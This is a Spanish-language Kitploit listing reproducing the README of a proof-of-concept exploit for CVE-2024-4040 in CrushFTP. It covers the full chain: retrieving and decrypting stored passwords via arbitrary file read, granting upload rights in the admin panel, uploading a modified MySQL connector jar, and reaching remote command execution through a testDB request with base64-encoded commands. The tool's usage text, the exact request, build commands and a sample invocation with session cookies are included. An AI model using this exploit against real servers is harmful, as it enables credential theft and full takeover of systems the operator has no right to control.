Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Herramientas/GitHubGitHub/entroychang/cve-2024-4040
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Ver Repositorio
31hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-4040

Introducción

  • Recientemente vi esta vulnerabilidad y la encontré bastante interesante. Leí los siguientes artículos y escribí un pequeño exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Máquina objetivo

  • Se utiliza el docker de otra persona. Para más detalles, consulte el GitHub del autor.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp

Proceso de ataque

Obtener contraseña

  • Utilice exploit.py y decrypt.java para obtener y descifrar la contraseña. En resumen, la clave está hardcodeada, por lo que se puede descifrar y también se puede leer cualquier archivo.
  • Tenga en cuenta que si el administrador predeterminado, crushadmin, no existe, puede intentar obtener CrushFTP.log, que contiene información de cuentas de referencia.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • La lógica primero verifica si el objetivo es vulnerable utilizando cuatro cuentas predeterminadas e intenta obtener el archivo user.XML.
  • Una vez confirmada la vulnerabilidad, obtiene la cuenta especificada por el usuario; si no se proporciona, se utiliza por defecto la cuenta de administrador crushadmin.
  • Después de obtener la contraseña, se utiliza decrypt.java para descifrarla.
  • La función --shell permite ver cómodamente los resultados después de RCE. Después de cargar el archivo jar de la siguiente manera, puede especificar --jar-path y --headers para ver el resultado del comando ejecutado.
    • Tenga en cuenta que --headers debe incluir la Cookie de inicio de sesión, por ejemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path por defecto es /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Si está en una ubicación diferente, asegúrese de especificar la ruta. En teoría, las rutas relativas también funcionan, pero se recomienda usar rutas absolutas.

Iniciar sesión para ajustar mapeo y permisos

  • Después de iniciar sesión, acceda a admin.
  • Localice User Manager, luego haga clic en el usuario de la izquierda. Arrastre la carpeta que desea mapear a User's Stuff y finalmente ajuste los permisos. Asegúrese de marcar "upload".

Subir archivo jar malicioso

  • Suba el archivo jar malicioso. Ya hay dos compilados, uno para JDK 16 y otro para JDK 13, dependiendo de la versión de Java del servidor.
  • Vuelva a la sección de archivos, haga clic en upload y suba el archivo jar malicioso.

RCE

  • La razón de RCE es que existe una función testDB que permite especificar el archivo jar y el objeto driver, además de poder subir archivos. Combinando estos, se puede lograr RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • El comando en la imagen es id.
    • Pase el comando codificado en base64 en el parámetro db_user para ejecutarlo.
  • El conector MySQL que modifiqué es la versión 5.0.4.
  • Si las dos versiones compiladas no funcionan, proporciono mi versión modificada. Se puede recompilar con los siguientes comandos:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Descargar herramienta
  • Para salir, escriba exit.
  • Ejemplo de comando: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"